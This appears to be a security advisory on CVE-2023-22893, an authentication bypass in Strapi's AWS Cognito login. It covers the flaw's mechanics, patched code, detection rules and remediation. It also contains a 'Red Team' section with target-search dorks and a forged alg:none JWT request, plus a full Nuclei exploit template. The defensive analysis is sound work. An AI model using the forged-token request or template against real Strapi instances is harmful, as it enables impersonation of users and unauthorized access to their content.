CVE-2023-22893

Executive Summary

CVE-2023-22893 is a critical authentication bypass vulnerability in Strapi CMS versions 4.5.5 and earlier. The flaw resides in the OAuth flow when using the AWS Cognito login provider. The application fails to verify the cryptographic signature of the ID token issued by Cognito. An unauthenticated, remote attacker can forge a JWT ID token using the none algorithm, bypassing authentication entirely. This allows the attacker to impersonate any user who uses AWS Cognito for authentication, gaining unauthorized access to the Strapi admin panel and all associated content and administrative functions. The vulnerability has a CVSS score of 7.5 (High) and a public proof-of-concept (PoC) exploit is available via a Nuclei template.

Supply Chain & Package Security

Strapi is an open-source headless CMS distributed via npm. The vulnerable package is @strapi/strapi. Organizations using Strapi with AWS Cognito authentication are directly impacted. The fix is included in version 4.5.6. It is critical to audit all Strapi deployments and ensure they are not running a vulnerable version. The vulnerability does not stem from a compromised package but from a logic flaw in the authentication handler.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N) - The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) - No special conditions are required; the exploit is straightforward.
• Privileges Required: None (PR:N) - No authentication is needed to trigger the vulnerability.
• User Interaction: None (UI:N) - The victim does not need to perform any action.
• Scope: Unchanged (S:U) - The vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) - An attacker can read all data accessible to the impersonated user, including sensitive CMS content and user data.
• Integrity Impact: None (I:N) - The vulnerability primarily allows reading data; however, depending on the impersonated user's permissions, an attacker could potentially modify content.
• Availability Impact: None (A:N) - The vulnerability does not directly affect system availability.

Threat Level: High. The exploit is trivial to execute, requires no authentication, and has a public PoC. The impact is a complete compromise of the CMS's confidentiality.

Deep Dive & Mechanics

The vulnerability lies in the OAuth callback handler for the AWS Cognito provider. When a user authenticates via Cognito, the provider returns an access_token and an id_token. The id_token is a JWT that contains claims about the authenticated user (e.g., email, username). Strapi's code, in vulnerable versions, does not verify the JWT's signature.

The JWT standard allows for a none algorithm, which means the token is not signed. A properly implemented system should reject tokens with alg: none. However, Strapi's implementation accepts them. An attacker can craft a JWT with the following header and payload:

• Header: {"alg":"none","typ":"JWT"}
• Payload: {"cognito:username":"attacker_controlled","email":"victim@example.com"}

The token is then base64url-encoded and sent to the callback endpoint: /api/auth/cognito/callback?access_token=<random>&id_token=<forged_jwt>.

Strapi decodes the token, extracts the email claim, and uses it to look up or create a user session. Since the signature is not verified, the attacker can set the email to any valid user's email address, effectively logging in as that user.

The Nuclei template provided in the Hacker Arsenal section demonstrates this exact attack. It sends a crafted request with a forged id_token and checks if the response contains a jwt token, indicating successful authentication.

Vulnerable vs. Patched Code

Vulnerable Code (<= 4.5.5):

The vulnerable code is in the OAuth callback handler for Cognito. The critical flaw is the lack of JWT signature verification. A simplified representation:

// Vulnerable: No signature verification
async function cognitoCallback(ctx) {
  const { id_token } = ctx.query;
  const decoded = jwt.decode(id_token); // Decodes without verification
  const email = decoded.email;
  // ... authenticate user based on email
}

Patched Code (>= 4.5.6):

The patched code adds proper JWT verification using the jsonwebtoken library's verify method, which validates the signature against the Cognito provider's public key.

// Patched: Signature verification added
async function cognitoCallback(ctx) {
  const { id_token } = ctx.query;
  const decoded = jwt.verify(id_token, getCognitoPublicKey()); // Verifies signature
  const email = decoded.email;
  // ... authenticate user based on email
}

The key difference is the use of jwt.verify() instead of jwt.decode(). The verify function checks the algorithm and signature, rejecting tokens with alg: none or invalid signatures.

Exploitation & Lab Setup

Red Team

Objective: Gain unauthorized access to a Strapi admin panel using AWS Cognito authentication.

Prerequisites:

• A target Strapi instance (version <= 4.5.5) with AWS Cognito login enabled.
• A valid user email address on the target Strapi instance (e.g., admin@example.com).

Exploit Steps:

1. Identify Target: Use Shodan or FOFA with the dork app="strapi-Headless-CMS" to find vulnerable instances.
2. Craft Forged JWT: Create a JWT with alg: none and a payload containing the target user's email.
   • Header: {"alg":"none","typ":"JWT"}
   • Payload: {"cognito:username":"attacker","email":"admin@example.com"}
   • Encode the payload in base64url.
   • Construct the token: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.<base64url(payload)>.
3. Send Exploit Request:

   GET /api/auth/cognito/callback?access_token=random&id_token=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.<base64url(payload)>. HTTP/1.1
   Host: target.com
   

4. Extract JWT: The response will contain a jwt token in the JSON body. This is the Strapi session token.
5. Access Admin Panel: Use the extracted JWT as a Bearer token in subsequent requests to access the Strapi admin panel and perform actions as the impersonated user.

Nuclei Template Usage:

The provided Nuclei template automates this process. Run it with:

nuclei -t CVE-2023-22893.yaml -u https://target.com -v

The template will attempt to authenticate as a random user and extract the JWT if successful.

Blue Team

Detection & Response:

1. Monitor Logs: Look for unusual requests to /api/auth/cognito/callback with a high number of failed or successful authentication attempts. Pay special attention to requests where the id_token parameter is present but the access_token appears random or malformed.
2. Analyze JWT Tokens: If you have access to the JWT tokens being used, inspect their header. A token with alg: none is a clear indicator of an attack.
3. Network Monitoring: Set up alerts for requests to the callback endpoint that do not originate from the expected AWS Cognito domain.
4. User Behavior Analytics: After an attack, monitor for anomalous behavior from the compromised user account, such as accessing sensitive content or performing administrative actions outside of normal patterns.

Lab Setup for Testing:

1. Deploy Vulnerable Strapi: Use Docker to quickly spin up a vulnerable instance.

   docker run -d -p 1337:1337 strapi/strapi:4.5.5
   

2. Configure AWS Cognito: Set up an AWS Cognito User Pool and configure Strapi to use it as an authentication provider. (This requires modifying the Strapi admin panel settings.)
3. Run Exploit: Execute the Nuclei template or manually send the crafted request to verify the vulnerability.
4. Upgrade and Test: Upgrade to version 4.5.6 and confirm the exploit no longer works.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /api/auth/cognito/callback with an id_token parameter containing a JWT with alg: none.
  • The id_token will have a format like: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.<base64_payload>.
  • The access_token parameter in the same request is often a random string and not a valid AWS token.
• Host IOCs:
  • Strapi application logs showing successful authentication via Cognito for users who did not initiate an OAuth flow.
  • Presence of JWT tokens in logs or memory with alg: none.
• File IOCs:
  • No specific file-based IOCs, as the attack is purely network-based.

Detection Engineering

YARA Rule

rule CVE_2023_22893_Strapi_Auth_Bypass {
    meta:
        description = "Detects JWT tokens with 'none' algorithm used in CVE-2023-22893 exploit"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-22893"
        hash = "490a00463044022008a16f642ff540ed0de92745d97201af0d8abfacd6d78ce43414d5853cfa232302201f31afc975543a60a5cb718da716faef61ef207c40d3ce7a504d578dd6ce8caa"
    strings:
        $jwt_header = "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0" // base64 of {"alg":"none","typ":"JWT"}
        $jwt_payload = /[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\./ // generic JWT pattern
    condition:
        $jwt_header and $jwt_payload
}

Sigma Rule

title: Strapi CVE-2023-22893 Authentication Bypass via Forged JWT
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests to Strapi's Cognito callback endpoint with a forged JWT token (alg: none).
author: Valters IT
date: 2024-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-22893
    - https://github.com/strapi/strapi/releases
logsource:
    category: webserver
    product: nginx
    service: http
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/api/auth/cognito/callback'
        cs-uri-query|contains: 'id_token=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0'
    condition: selection
falsepositives:
    - None expected, as legitimate Cognito tokens will have a different header.
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-22893 Strapi Authentication Bypass Attempt"; flow:to_server; http.method; content:"GET"; http.uri; content:"/api/auth/cognito/callback"; http.uri; content:"id_token=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0"; classtype:attempted-admin; sid:1000001; rev:1;)

Nuclei Template (Full Content)

id: CVE-2023-22893

info:
  name: Strapi Versions <=4.5.6 - Authentication Bypass
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    Strapi through 4.5.5 does not verify the access or ID tokens issued during the OAuth flow when the AWS Cognito login provider is used for authentication. A remote attacker could forge an ID token that is signed using the 'None' type algorithm to bypass authentication and impersonate any user that use AWS Cognito for authentication.
  impact: |
    Unauthenticated attackers can forge JWT tokens using the "None" algorithm to bypass AWS Cognito authentication and impersonate any Strapi user, gaining unauthorized access to CMS content and administrative functions.
  remediation: |
    Update Strapi to version 4.5.6 or later which properly verifies access and ID tokens issued during OAuth flow with AWS Cognito login provider.
  reference:
    - https://www.ghostccamm.com/blog/multi_strapi_vulns
    - https://github.com/strapi/strapi/releases
    - https://github.com/ARPSyndicate/cvemon
    - https://nvd.nist.gov/vuln/detail/CVE-2023-22893
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-22893
    cwe-id: CWE-287
    epss-score: 0.77289
    epss-percentile: 0.98987
    cpe: cpe:2.3:a:strapi:strapi:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: strapi
    product: strapi
    fofa-query: app="strapi-Headless-CMS"
  tags: cve,cve2023,strapi,authenticated,aws,cognito,vkev,vuln

variables:
  email: "{{email}}"
  payload: '{"cognito:username":"{{to_lower(rand_text_alpha(10))}}","email":"{{email}}"}'

http:
  - raw:
      - |
        GET /api/auth/cognito/callback?access_token={{to_lower(rand_text_alpha(8))}}&id_token=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.{{base64(payload)}}. HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"provider":'
          - '"confirmed":'
        condition: and

      - type: word
        part: content_type
        words:
          - application/json

      - type: status
        status:
          - 200

    extractors:
      - type: json
        part: body
        name: token
        json:
          - ".jwt"
# digest: 490a00463044022008a16f642ff540ed0de92745d97201af0d8abfacd6d78ce43414d5853cfa232302201f31afc975543a60a5cb718da716faef61ef207c40d3ce7a504d578dd6ce8caa:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Upgrade Strapi: The primary and most effective remediation is to upgrade to Strapi version 4.5.6 or later. This version includes the fix that properly verifies the JWT signature.

   npm install @strapi/strapi@4.5.6
   

2. Disable Cognito Provider: If upgrading is not immediately possible, disable the AWS Cognito login provider in the Strapi admin panel as a temporary workaround. This will prevent exploitation of this specific vulnerability.
3. Review User Sessions: After applying the patch, invalidate all existing user sessions to force re-authentication. This can be done by restarting the Strapi server or clearing the session store.

Long-Term Mitigations:

1. Web Application Firewall (WAF): Deploy a WAF rule to block requests to /api/auth/cognito/callback that contain an id_token parameter with a JWT header indicating alg: none.
2. Regular Updates: Establish a process for regularly updating Strapi and its dependencies to ensure the latest security patches are applied.
3. Security Audits: Conduct periodic security audits of the Strapi configuration, especially OAuth integrations, to identify and remediate misconfigurations.
4. Monitor for Exploitation: Implement the detection rules provided in this report (Sigma, Suricata, YARA) to monitor for exploitation attempts.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

{/* [Security Hash: 95FBDB99CA263A38A4FAC5A1] */}